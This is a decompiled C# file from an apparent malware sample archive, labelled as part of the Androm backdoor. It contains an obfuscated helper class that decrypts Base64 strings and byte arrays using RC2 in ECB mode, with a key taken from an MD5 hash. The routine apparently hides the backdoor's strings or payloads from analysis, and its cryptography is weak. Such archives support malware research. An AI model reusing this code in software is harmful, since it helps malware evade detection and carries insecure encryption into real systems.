MalwareSourceCode/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0006.cs

// Decompiled with JetBrains decompiler
// Type: 
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Security.Cryptography;
using System.Text;

[StandardModule]
internal sealed class \u0006
{
  public static string \u0002(string _param0, string _param1)
  {
    RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider();
    MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
    string str;
    try
    {
      byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1));
      cryptoServiceProvider1.Key = hash;
      cryptoServiceProvider1.Mode = CipherMode.ECB;
      ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
      byte[] inputBuffer = Convert.FromBase64String(_param0);
      str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    return str;
  }

  public static byte[] \u0002(byte[] _param0, string _param1)
  {
    RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider();
    MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
    byte[] numArray;
    try
    {
      byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1));
      cryptoServiceProvider1.Key = hash;
      cryptoServiceProvider1.Mode = CipherMode.ECB;
      ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
      byte[] inputBuffer = _param0;
      numArray = decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    return numArray;
  }
}